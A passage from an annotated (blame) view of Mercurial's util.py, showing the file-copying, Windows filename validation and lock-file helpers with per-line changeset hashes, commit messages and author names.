31577 | 1894 if hardlink: |
23899
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1895 try: |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1896 oslink(src, dest) |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1897 return |
4e451d1359de
copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
23864
diff
changeset
|
1898 except (IOError, OSError): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1899 pass # fall back to normal copy |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1900 if os.path.islink(src): |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1901 os.symlink(os.readlink(src), dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1902 # copytime is ignored for symlinks, but in general copytime isn't needed |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1903 # for them anyway |
4271
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1904 else: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1905 try: |
1eaa8d90c689
fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents:
4256
diff
changeset
|
1906 shutil.copyfile(src, dest) |
27369
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1907 if copystat: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1908 # copystat also copies mode |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1909 shutil.copystat(src, dest) |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1910 else: |
c48ecc0b5bc9
copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents:
26665
diff
changeset
|
1911 shutil.copymode(src, dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1912 if oldstat and oldstat.stat: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1913 newstat = filestat.frompath(dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1914 if newstat.isambig(oldstat): |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1915 # stat of copied file is ambiguous to original one |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1916 advanced = ( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1917 oldstat.stat[stat.ST_MTIME] + 1 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1918 ) & 0x7FFFFFFF |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1919 os.utime(dest, (advanced, advanced)) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1920 except shutil.Error as inst: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
1921 raise error.Abort(str(inst)) |
3629
4cfb72bcb978
util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents:
3568
diff
changeset
|
1922 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1923 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1924 def copyfiles(src, dst, hardlink=None, progress=None): |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1925 """Copy a directory tree using hardlinks if possible.""" |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1926 num = 0 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1927 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1928 def settopic(): |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1929 if progress: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1930 progress.topic = _(b'linking') if hardlink else _(b'copying') |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1931 |
1207 | 1932 if os.path.isdir(src): |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1933 if hardlink is None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1934 hardlink = ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1935 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1936 ) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1937 settopic() |
1207 | 1938 os.mkdir(dst) |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
1939 for name, kind in listdir(src): |
1207 | 1940 srcname = os.path.join(src, name) |
1941 dstname = os.path.join(dst, name) | |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1942 hardlink, n = copyfiles(srcname, dstname, hardlink, progress) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1943 num += n |
1207 | 1944 else: |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1945 if hardlink is None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1946 hardlink = ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1947 os.stat(os.path.dirname(src)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1948 == os.stat(os.path.dirname(dst)).st_dev |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1949 ) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1950 settopic() |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1951 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1952 if hardlink: |
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1953 try: |
14235
b9e1b041744f
rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents:
14234
diff
changeset
|
1954 oslink(src, dst) |
2050
e49d0fa38176
util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2026
diff
changeset
|
1955 except (IOError, OSError): |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1956 hardlink = False |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1957 shutil.copy(src, dst) |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1958 else: |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1959 shutil.copy(src, dst) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1960 num += 1 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1961 if progress: |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1962 progress.increment() |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1963 |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1964 return hardlink, num |
11254
640d419725d0
util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents:
11010
diff
changeset
|
1965 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1966 |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1967 _winreservednames = { |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1968 b'con', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1969 b'prn', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1970 b'aux', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1971 b'nul', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1972 b'com1', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1973 b'com2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1974 b'com3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1975 b'com4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1976 b'com5', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1977 b'com6', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1978 b'com7', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1979 b'com8', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1980 b'com9', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1981 b'lpt1', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1982 b'lpt2', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1983 b'lpt3', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1984 b'lpt4', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1985 b'lpt5', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1986 b'lpt6', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1987 b'lpt7', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1988 b'lpt8', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1989 b'lpt9', |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1990 } |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1991 _winreservedchars = b':*?"<>|' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1992 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1993 |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1994 def checkwinfilename(path): |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1995 r'''Check that the base-relative path is a valid filename on Windows. |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1996 Returns None if the path is ok, or a UI string describing the problem. |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1997 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1998 >>> checkwinfilename(b"just/a/normal/path") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1999 >>> checkwinfilename(b"foo/bar/con.xml") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2000 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2001 >>> checkwinfilename(b"foo/con.xml/bar") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2002 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2003 >>> checkwinfilename(b"foo/bar/xml.con") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2004 >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2005 "filename contains 'AUX', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2006 >>> checkwinfilename(b"foo/bar/bla:.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2007 "filename contains ':', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2008 >>> checkwinfilename(b"foo/bar/b\07la.txt") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2009 "filename contains '\\x07', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2010 >>> checkwinfilename(b"foo/bar/bla ") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2011 "filename ends with ' ', which is not allowed on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2012 >>> checkwinfilename(b"../bar") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2013 >>> checkwinfilename(b"foo\\") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2014 "filename ends with '\\', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2015 >>> checkwinfilename(b"foo\\/bar") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
2016 "directory name ends with '\\', which is invalid on Windows" |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2017 ''' |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2018 if path.endswith(b'\\'): |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2019 return _(b"filename ends with '\\', which is invalid on Windows") |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2020 if b'\\/' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2021 return _(b"directory name ends with '\\', which is invalid on Windows") |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2022 for n in path.replace(b'\\', b'/').split(b'/'): |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2023 if not n: |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2024 continue |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
2025 for c in _filenamebytestr(n): |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
2026 if c in _winreservedchars: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2027 return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2028 _( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2029 b"filename contains '%s', which is reserved " |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2030 b"on Windows" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2031 ) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2032 % c |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2033 ) |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2034 if ord(c) <= 31: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2035 return _( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2036 b"filename contains '%s', which is invalid " b"on Windows" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2037 ) % stringutil.escapestr(c) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2038 base = n.split(b'.')[0] |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
2039 if base and base.lower() in _winreservednames: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2040 return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2041 _(b"filename contains '%s', which is reserved " b"on Windows") |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2042 % base |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2043 ) |
34361
7508a7dc95c1
py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents:
34360
diff
changeset
|
2044 t = n[-1:] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2045 if t in b'. ' and n not in b'..': |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2046 return ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2047 _( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2048 b"filename ends with '%s', which is not allowed " |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2049 b"on Windows" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2050 ) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2051 % t |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2052 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2053 |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2054 |
34645 | 2055 if pycompat.iswindows: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
2056 checkosfilename = checkwinfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2057 timer = time.clock |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2058 else: |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
2059 checkosfilename = platform.checkosfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2060 timer = time.time |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2061 |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2062 if safehasattr(time, "perf_counter"): |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
2063 timer = time.perf_counter |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2064 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2065 |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2066 def makelock(info, pathname): |
36701
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2067 """Create a lock file atomically if possible |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2068 |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2069 This may leave a stale lock file if symlink isn't supported and signal |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2070 interrupt is enabled. |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
2071 """ |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2072 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2073 return os.symlink(info, pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2074 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2075 if why.errno == errno.EEXIST: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2076 raise |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2077 except AttributeError: # no symlink in os |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2078 pass |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2079 |
36783
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
2080 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
2081 ld = os.open(pathname, flags) |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2082 os.write(ld, info) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2083 os.close(ld) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2084 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2085 |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2086 def readlock(pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
